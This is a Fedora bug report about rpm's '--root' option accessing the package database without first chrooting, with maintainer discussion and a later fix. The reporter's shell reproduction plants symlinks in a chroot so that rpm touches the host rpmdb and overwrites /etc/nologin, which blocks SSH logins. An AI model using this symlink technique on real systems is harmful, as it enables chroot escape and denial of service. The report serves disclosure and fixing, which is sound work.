Bug 173285 - Insecure '--root' operations
Summary: Insecure '--root' operations
Alias: None
Product: Fedora
Classification: Fedora
Component: rpm
Version: rawhide
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Paul Nasrat
QA Contact:
Keywords: Reopened, Security
Depends On:
TreeView+ depends on / blocked
Reported: 2005-11-15 22:26 UTC by Enrico Scholz
Modified: 2007-11-30 22:11 UTC (History)
1 user (show)

Clone Of:
Last Closed: 2007-07-03 09:56:25 UTC

Attachments (Terms of Use)

Description Enrico Scholz 2005-11-15 22:26:42 UTC
Description of problem:

When using '--root' rpm accesses the rpmdb directly without doing a
previous 'chroot(2)'. This breaks functionality and opens attack
vectors. E.g. a malicious user with root rights in the chroot could
do a 'ln -s /var/lib/rpm /var/lib/rpm' and next 'rpm' operation on
the host would access the host rpmdb.


| # d=/tmp/rpmtest
| # rm -rf $d
| # mkdir -p $d/var/lib
| # ln -s /var/lib/rpm $d/var/lib/rpm
| # rpm --root $d -q rpm
| rpm-4.4.1-22
| # rm -f $d/var/lib/rpm
| # ln -s /etc/nologin $d/var/lib/rpm/__db.002
| # rpm --root $d -q rpm
| $ ssh londo
| Connection closed by

strace shows at the last command things like

| stat64("/tmp/", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=340, ...}) = 0
| stat64("/tmp/rpmtest/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0
| stat64("/tmp/rpmtest/var/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0
| stat64("/tmp/rpmtest/var/lib/", {st_mode=S_IFDIR|0755, st_size=60, ...}) = 0
| stat64("/tmp/rpmtest/var/lib/rpm", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
| access("/tmp/rpmtest/var/lib/rpm", W_OK) = 0
| access("/tmp/rpmtest/var/lib/rpm/__db.001", F_OK) = 0

These operations should be executed after a previous
'chroot("/tmp/rpmtest")' (or the directories must be changed in a
secure manner (but this is much more complicated than a chroot))

'-U' operations are accessing the root rpmdb too:

| # strace rpm -U setup-2.5.44-1.noarch.rpm --root $d
| open("/tmp/rpmtest/var/lib/rpm/Conflictname", O_RDONLY|O_LARGEFILE) = 6
| fcntl64(6, F_SETFD, FD_CLOEXEC)         = 0
| fstat64(6, {st_mode=S_IFREG|0644, st_size=12288, ...}) = 0
| rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [], 8) = 0
| rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
| umask(022)                              = 022
| open("/var/lib/rpm/__db.000", O_RDWR|O_CREAT|O_LARGEFILE, 0644) = 7

Version-Release number of selected component (if applicable):


How reproducible:


Comment 1 Jeff Johnson 2005-11-15 23:19:59 UTC
A "malicious user with root rights" can get out of a chroot much
more easily than through rpm vectors by doing fchdir("..)".

Reducing the "Danger Will Robinson!!!!" security level to normal.

Comment 2 Enrico Scholz 2005-11-16 07:51:58 UTC
Wrong; there are existing secure chroots. E.g. look at http://linux-vserver.org;
the current behavior is a real security risk there.

Comment 3 Jeff Johnson 2005-11-18 16:43:53 UTC
rpm with db4 is not appropriate to your vserver environment then.

Choose a different tool.

Comment 4 Axel Thimm 2006-08-07 11:49:30 UTC
I think this is a real security risk, too. It's very much unlike breaking out of
chroots as the risk is there even if chroot-breaking-out would be prohibited
otherwise (e.g. selinux or a even a pure non-root fakechroot environment).

Comment 5 Jeff Johnson 2006-08-08 14:55:58 UTC
The answer is the same:
    rpm with db4 is not the right tool if trying to use vserver's "secure chroots" and --root.

Copy packages into the chroot, and run rpm only from within
the chroot is one fix.

Using sqlite3 is another.

Comment 6 Jeff Johnson 2006-09-03 19:02:32 UTC
Fixed (by opening all non-temporaray indices before
entering the chroot) in rpm cvs, will be in rpm-4.4.7 when released.


Comment 7 Panu Matilainen 2007-07-03 09:56:25 UTC
Should be fixed in (rc) as well, similarly as in 4.4.7

Note You need to log in before you can comment on or make changes to this bug.